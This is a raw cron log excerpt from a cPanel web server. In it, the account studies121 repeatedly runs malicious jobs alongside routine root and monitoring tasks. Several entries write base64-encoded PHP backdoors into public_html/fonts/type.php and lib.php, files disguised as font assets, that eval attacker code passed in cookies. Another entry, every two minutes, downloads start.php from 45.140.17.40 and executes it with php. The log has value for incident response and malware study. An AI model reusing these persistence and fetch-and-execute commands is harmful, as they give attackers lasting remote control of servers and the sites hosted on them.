Sep  4 14:48:01 ip-184-168-122-23 CROND[9415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:49:01 ip-184-168-122-23 CROND[9515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:49:01 ip-184-168-122-23 CROND[9516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:49:01 ip-184-168-122-23 CROND[9517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:49:01 ip-184-168-122-23 CROND[9518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9624]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:50:01 ip-184-168-122-23 CROND[9622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:50:01 ip-184-168-122-23 CROND[9623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:50:01 ip-184-168-122-23 CROND[9626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:51:01 ip-184-168-122-23 CROND[9736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:51:01 ip-184-168-122-23 CROND[9737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:51:01 ip-184-168-122-23 CROND[9739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:51:01 ip-184-168-122-23 CROND[9741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:52:01 ip-184-168-122-23 CROND[9842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:52:01 ip-184-168-122-23 CROND[9843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:52:01 ip-184-168-122-23 CROND[9840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:52:01 ip-184-168-122-23 CROND[9841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:52:01 ip-184-168-122-23 CROND[9839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:53:01 ip-184-168-122-23 CROND[9977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:53:01 ip-184-168-122-23 CROND[9979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:53:01 ip-184-168-122-23 CROND[9978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:53:01 ip-184-168-122-23 CROND[9980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:54:01 ip-184-168-122-23 CROND[10100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:54:01 ip-184-168-122-23 CROND[10102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:54:01 ip-184-168-122-23 CROND[10099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:54:01 ip-184-168-122-23 CROND[10101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:54:01 ip-184-168-122-23 CROND[10103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:55:01 ip-184-168-122-23 CROND[10223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:55:01 ip-184-168-122-23 CROND[10220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:55:01 ip-184-168-122-23 CROND[10225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:55:01 ip-184-168-122-23 CROND[10222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:55:01 ip-184-168-122-23 CROND[10221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:55:01 ip-184-168-122-23 CROND[10224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:56:01 ip-184-168-122-23 CROND[10406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:56:01 ip-184-168-122-23 CROND[10407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:56:01 ip-184-168-122-23 CROND[10408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:56:01 ip-184-168-122-23 CROND[10409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:56:01 ip-184-168-122-23 CROND[10410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:57:01 ip-184-168-122-23 CROND[10533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:57:01 ip-184-168-122-23 CROND[10536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:57:01 ip-184-168-122-23 CROND[10535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:57:01 ip-184-168-122-23 CROND[10534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:58:01 ip-184-168-122-23 CROND[10654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:58:01 ip-184-168-122-23 CROND[10655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:58:01 ip-184-168-122-23 CROND[10656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:58:01 ip-184-168-122-23 CROND[10658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:58:01 ip-184-168-122-23 CROND[10657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:59:01 ip-184-168-122-23 CROND[10760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:59:01 ip-184-168-122-23 CROND[10762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:59:01 ip-184-168-122-23 CROND[10763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:59:01 ip-184-168-122-23 CROND[10766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:00:01 ip-184-168-122-23 CROND[10853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:00:01 ip-184-168-122-23 CROND[10858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:00:01 ip-184-168-122-23 CROND[10859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:00:01 ip-184-168-122-23 CROND[10860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:00:01 ip-184-168-122-23 CROND[10857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:00:01 ip-184-168-122-23 CROND[10855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:00:01 ip-184-168-122-23 CROND[10856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
